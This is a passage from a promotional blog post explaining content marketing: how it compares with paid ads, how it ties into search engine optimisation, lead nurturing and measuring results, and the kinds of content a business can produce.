This is in contrast to ads. You get fast visibility through ads, but when the budget is exhausted, your ads and your visibility disappear. Blog posts, on the other hand, remain online on your website and in the search results.

You can also automate a large part of your marketing campaigns, for example, via email automation. That makes content marketing a sustainable (Think long term!) and cost-efficient form of marketing.

So why should you do it?

The answer to this question is simple. You should do content marketing in order to have a source of traffic and leads that is much more profitable, predictable, and scalable than other traditional or so-called outbound marketing tactics.

Furthermore, if you integrate your content marketing approach into an Inbound Marketing methodology, you will be more profitable. By doing so, you make sure to integrate visitors or leads generated in a conversion funnel in order to feed them (lead nurturing) until they become customers or consumers.

Content Marketing help businesses

People’s modern buying behavior is very different from what it was a couple of decades ago, and since the turn of the millennium, marketing tactics have also changed drastically. More and more answers are being searched for everyday needs on the internet, and those who have used Google AdWords in the slightest will know that products and services are actively google thousands of times a month, so the goal is to bring the company to the front of the line. So optimized content helps bring your business to the forefront when a customer needs your product or service.

Some companies may benefit more than others, depending on the industry. But sales companies and organizations in particular, as well as B2B marketing, really need good content to keep up with the competition. 

The challenge is to insure that all the content produced by the company (websites, blogs, advertisements, newsletters, social media, etc.) contributes to a particular objective.  

The key to success is to identify the current situation and be able to define goals and communicate them to co-factors. Content marketing helps in.

  • Creates brand awareness and brand identity
  • Get more leads to the business.
  • Get better leads
  • Streamline the sales process through content marketing
  • Streamline the marketing process
  • Pilot a new product or service using content marketing
  • Creates collaboration between sales and marketing
  • Create a winning content strategy or so-called killer-strategy
  • Creates consistently good content for your channels
  • Creates concrete metrics for marketing
  • Drives traffic to an eCommerce or website

Successful content marketing, therefore, promotes sales, increases the visibility of the company, and has a holistic impact on the customer experience, of course, in a positive way. Customers, in particular, will certainly appreciate a company that convinces with its expertise. You should take advantage of creativity. Here are some other ways content marketing helps businesses.

Increasing reliability online

Content marketing increases online credibility by building expertise and authority. The reliability of the company creates longer-term and more loyal customer relationships.

Creating value without selling

When you help customers understand and solve their problems, it lowers the threshold to become a customer later. Commitment to solution-centric content adds value.

The company is able to teach its customers about its own services and products through targeted communication and how they can solve customers ’various pain points. By controlling communication, a company is able to tell the right things to customers and thus speed up the customer’s progress in the purchasing pipeline.

The increase in reliability also makes it possible to find new customers with growing references.

Content Production and Search Engine Optimization

Good content production has taken Search Engine Optimization into account so that the content produced ranks as high as possible in search engines. Good content that cannot be found online will not produce for the company. Search engine optimized content production increases organic traffic to a company’s website in the long run. For example, problem-solving blog posts may bring in most of the online traffic in the long run after they are published.

Create content that is compelling to help your customers stay longer on the website, leading to better search engine rankings.

An extensive content library on the website allows you to go through various topics, which gives the company visibility in new keywords and increases customer comfort on the website.

By utilizing new keywords, the company expands its own target group.

Every blog, article, and posting on a company’s website has one more page that google can crawl into its search engine. Well, search engine optimized content ranks higher there.

The price of content production

The price of content production is based on the price of the work, i.e., the time spent on content production, its design, and its publication. By outsourcing a content production strategy, a company achieves a clearer picture of how to operate and what kind of content to produce. Content production supports other marketing efforts by creating content that meets customer expectations and thus increases conversions.

Content production enables sales automation as customers approach the company directly. Creating content takes time and investment, but its benefits to a business are many times greater than the time spent on it.

Measuring the results of content production

Web content can be analyzed by examining the data that the contents generate through network analytics.

The right goals for content revenue and results must first be set: what do you want from the content before measuring the success of the goals?

The goals can be, among others:

  • Sales
  • leads
  • Brand growth
  • Promoting services and products

Web analytics, its metrics, and tools can be used to measure the content itself. It is then possible to measure how customers receive the content.

Aspects of content production

The areas and types of content have expanded a lot over the years. Today, a content production strategy is able to utilize different content with different effects.

  • Articles
  • Releases
  • Landing page or homepage content
  • Blogs
  • Videos and pictures
  • Online Ads
  • Frequently Asked Questions
  • Product pages

Content marketing: where to start?

Target group: Determine your target group, make a descriptive profile of your buyer (a buyer persona) so that you know where your target group is and what information it is looking for.

Needs check: Think further about what interests your target group, what information your target group needs. Use this as a handle when creating the correct content.

Scan the possibilities: You can package information in many ways, such as an article, a blog post on an industry blog, a video, a white paper, a customer testimonial. There are so many options for packaging good content. The starting point is, of course, that the content is not necessarily about your product or service. It must match what your buyer is looking for. And your message must be consistent, only then will you be credible.

Spread your message: Your target group also has preferences about how they want to receive information. Make sure you get your information, whether this is an article or a video to your target group in the desired way. And only now, do you really have to worry about social media. The internet is, of course, a great channel to spread your information. But don’t forget that there are also very good offline ways to combine your actions with

Keep following, measuring and listening: The power of sharing information online and participating in the discussion is able to measure and evaluate. Measure because you can analyze visitor behavior, evaluate based on the figures, and because you can see responses from readers. By listening and reading what others say, you can also get input and feedback for your own thoughts.

Conclusion

Content is still king. Research shows that content marketing is the most effective form of marketing. It is important for organizations to formulate a strategy that matches the business objectives. Content creation is never the goal but the means. But content marketing remains a challenge for many organizations simply because they are not in an industry that appeals to the imagination. With the greatest effort, a business blog is irregularly written, which is read by fewer people than work in your department. It feels like a waste of time. And then you hear casually that content will only yield something if you publish consistently and consistently over a longer period of time. But if you have no idea how to create interesting content, that is a tough task.

Even if, according to others, you are in a boring industry or they find your product boring, do not hesitate. You realize you have something to show the world. Moreover, it pays extra for you to create and publish content. You have a big advantage over other companies: your competitors are also boring. Enough opportunities to distinguish yourself. On to unique content!

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The post What is Content marketing and How Can it Help My Business? appeared first on Social Media Dudes.

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